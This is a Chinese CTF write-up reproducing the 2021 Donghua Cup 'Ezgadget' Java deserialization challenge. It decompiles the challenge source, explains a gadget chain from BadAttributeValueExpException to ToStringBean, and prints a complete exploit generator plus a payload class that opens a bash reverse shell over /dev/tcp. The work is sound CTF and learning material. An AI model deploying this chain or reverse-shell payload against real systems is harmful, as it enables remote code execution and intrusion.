2021东华杯Ezgadget复现
2022-03-29 21:00:00 # Java # CTF

2021东华杯Ezgadget复现

前言

东华杯去年打进决赛了,但那时候基本上我都是打misc,也不懂Java,最近学了一些Java的知识,就来复现一下这个题目,算是炒冷饭了,话不多说,进入正题。

复现过程

题目给了一个jar包(下载地址放在文章末),使用jd-gui反编译看一下源码。

IndexController: 网站首页,有一个readobject路由,接收一个data参数,然后将data的值进行base64解码,然后将其变为一个对象流,读取一个UTF和一个Int,如果满足name.equals("gadgets") && year == 2021即触发反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import com.ezgame.ctf.tools.Tools;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
@ResponseBody
@RequestMapping({"/"})
public String index(HttpServletRequest request, HttpServletResponse response) {
return "index";
}

@ResponseBody
@RequestMapping({"/readobject"})
public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021)
objectInputStream.readObject();
return "welcome bro.";
}
}

User: 一个常见的JavaBean

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
mport java.io.Serializable;

public class User implements Serializable {
private String UserName;

private String PassWord;

public String getUserName() {
return this.UserName;
}

public void setUserName(String userName) {
this.UserName = userName;
}

public String getPassWord() {
return this.PassWord;
}

public void setPassWord(String passWord) {
this.PassWord = passWord;
}

public String toString() {
return "User{UserName='" + this.UserName + '\'' + ", PassWord='" + this.PassWord + '\'' + '}';
}
}

Tools: 定义了Base64的加解密以及序列化和反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Tools {
public static byte[] base64Decode(String base64) {
Base64.Decoder decoder = Base64.getDecoder();
return decoder.decode(base64);
}

public static String base64Encode(byte[] bytes) {
Base64.Encoder encoder = Base64.getEncoder();
return encoder.encodeToString(bytes);
}

public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}

public static Object deserialize(byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}

ToStringBean: 继承了ClassLoader,为了能调用defineClass,从而动态加载一个类,将这个类实例化从而达到命令执行。这里只要能调用toString就能加载我们传入的恶意字节码,其中ClassByte就是我们要传入的恶意字节码,由于是私有的,所以只能通过反射来进行赋值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.io.Serializable;

public class ToStringBean extends ClassLoader implements Serializable {
private byte[] ClassByte;

public String toString() {
com.ezgame.ctf.tools.ToStringBean toStringBean = new com.ezgame.ctf.tools.ToStringBean();
Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
Object Obj = null;
try {
Obj = clazz.newInstance();//类的实例化
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return "enjoy it.";
}
}

整个过程的一个逻辑就是readobject路由对data参数进行反序列化,而toStringBean类重写了toString方法。然后BadAttributeValueExpException类的readobject方法中调用了valtoString()方法,val可以传入toStringBean,从而在调用BadAttributeValueExpExceptionreadobject的时候调用的toStringBeantoString()方法。

所以可以从BadAttributeValueExpException.readobject -> toStringBean.toString -> defineClass+newInstance()

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package com.ezgame.ctf;
import com.ezgame.ctf.tools.ToStringBean;
import com.ezgame.ctf.tools.Tools;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Exp {
public static void main(String[] args) throws Exception{
ToStringBean toStringBean = new ToStringBean();
Field classByteField = toStringBean.getClass().getDeclaredField("ClassByte");
classByteField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\Ezgadget\\target\\classes\\com\\ezgame\\ctf\\payload.class"));
classByteField.set(toStringBean,bytes);//对ToStringBean类中的ClassByte赋值

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123123);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,toStringBean);//对val赋值为toStringBean,从而在调用badAttributeValueExpException的readobject的时候调用的toStringBean的toString()方法


ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//新建一个字节流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);//把字节流转为对象流
objectOutputStream.writeUTF("gadgets");//往UTF中写入gadgets
objectOutputStream.writeInt(2021);//往Int中写入2021
objectOutputStream.writeObject(badAttributeValueExpException);//调用badAttributeValueExpException.writeObject序列化

byte[] bytes1 = byteArrayOutputStream.toByteArray();//把字节流导出为字节数组
String s = Tools.base64Encode(bytes1);//base64编码
System.out.println(s);

}
}

恶意字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.ezgame.ctf;

import java.io.IOException;

public class payload {
static {
try {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/127.0.0.1/7777 0>&1"});
} catch (IOException e) {
e.printStackTrace();
}
}
}

我把jar包放虚拟机上,把环境跑起来,尝试反弹shell

1
java -jar ezgadget.jar

1648566574006.png

因为base64编码出来的payload有+号,而处理的时候会当作空格引发报错,所以要进行url编码

1648566787291.png

1648566764073.png

成功反弹shell,原先在le1a目录,收到了来自桌面的反弹shell


题目附件:点击下载